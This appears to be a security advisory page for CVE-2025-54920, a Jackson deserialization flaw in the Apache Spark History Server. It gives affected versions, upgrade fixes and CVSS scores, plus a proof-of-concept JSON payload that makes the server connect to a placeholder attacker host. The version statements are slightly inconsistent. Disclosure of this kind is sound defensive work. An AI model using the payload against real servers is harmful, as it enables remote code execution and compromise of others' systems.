CVE-2025-54920
March 14, 2026
This issue affects Apache Spark: before 3.5.7 and 4.0.1. Users are recommended to upgrade to version 3.5.7 or 4.0.1 and above, which fixes the issue.
Summary
Apache Spark 3.5.4 and earlier versions contain a code execution vulnerability in the Spark History Web UI due to overly permissive Jackson deserialization of event log data. This allows an attacker with access to the Spark event logs directory to inject malicious JSON payloads that trigger deserialization of arbitrary classes, enabling command execution on the host running the Spark History Server.
Details
The vulnerability arises because the Spark History Server uses Jackson polymorphic deserialization with @JsonTypeInfo.Id.CLASS on SparkListenerEvent objects, allowing an attacker to specify arbitrary class names in the event JSON. This behavior permits instantiating unintended classes, such as org.apache.hive.jdbc.HiveConnection, which can perform network calls or other malicious actions during deserialization.
The attacker can exploit this by injecting crafted JSON content into the Spark event log files, which the History Server then deserializes on startup or when loading event logs. For example, the attacker can force the History Server to open a JDBC connection to a remote attacker-controlled server, demonstrating remote command injection capability.
Proof of Concept:
1. Run Spark with event logging enabled, writing to a writable directory (spark-logs).
2. Inject the following JSON at the beginning of an event log file:
{
"Event": "org.apache.hive.jdbc.HiveConnection",
"uri": "jdbc:hive2://<IP>:<PORT>/",
"info": {
"hive.metastore.uris": "thrift://<IP>:<PORT>"
}
}
3. Start the Spark History Server with logs pointing to the modified directory.
4. The Spark History Server initiates a JDBC connection to the attacker’s server, confirming the injection.
Impact
An attacker with write access to Spark event logs can execute arbitrary code on the server running the History Server, potentially compromising the entire system.
Affected Packages
https://github.com/apache/spark.git (GITHUB):
Affected version(s) >=v0.5.0 <v3.5.7Fix Suggestion:
Update to version v3.5.7org.apache.spark:spark-core_2.12 (JAVA):
Affected version(s) >=2.4.0 <3.5.7Fix Suggestion:
Update to version 3.5.7org.apache.spark:spark-core_2.13 (JAVA):
Affected version(s) >=4.0.0 <4.0.1Fix Suggestion:
Update to version 4.0.1org.apache.spark:spark-core_2.12 (JAVA):
Affected version(s) >=2.4.0 <3.5.7Fix Suggestion:
Update to version 3.5.7org.apache.spark:spark-core_2.13 (JAVA):
Affected version(s) >=3.2.0 <3.5.7Fix Suggestion:
Update to version 3.5.7org.apache.spark:spark-core_2.13 (JAVA):
Affected version(s) >=3.2.0 <3.5.7Fix Suggestion:
Update to version 3.5.7org.apache.spark:spark-core_2.13 (JAVA):
Affected version(s) =4.0.0 <4.0.1Fix Suggestion:
Update to version 4.0.1Related Resources (7)
Do you need more information?
Contact UsCVSS v4
Base Score:
8.7
Attack Vector
NETWORK
Attack Complexity
LOW
Attack Requirements
NONE
Privileges Required
LOW
User Interaction
NONE
Vulnerable System Confidentiality
HIGH
Vulnerable System Integrity
HIGH
Vulnerable System Availability
HIGH
Subsequent System Confidentiality
NONE
Subsequent System Integrity
NONE
Subsequent System Availability
NONE
CVSS v3
Base Score:
5.3
Attack Vector
NETWORK
Attack Complexity
LOW
Privileges Required
NONE
User Interaction
NONE
Scope
UNCHANGED
Confidentiality
NONE
Integrity
LOW
Availability
NONE
Weakness Type (CWE)
Deserialization of Untrusted Data
EPSS
Base Score:
0.17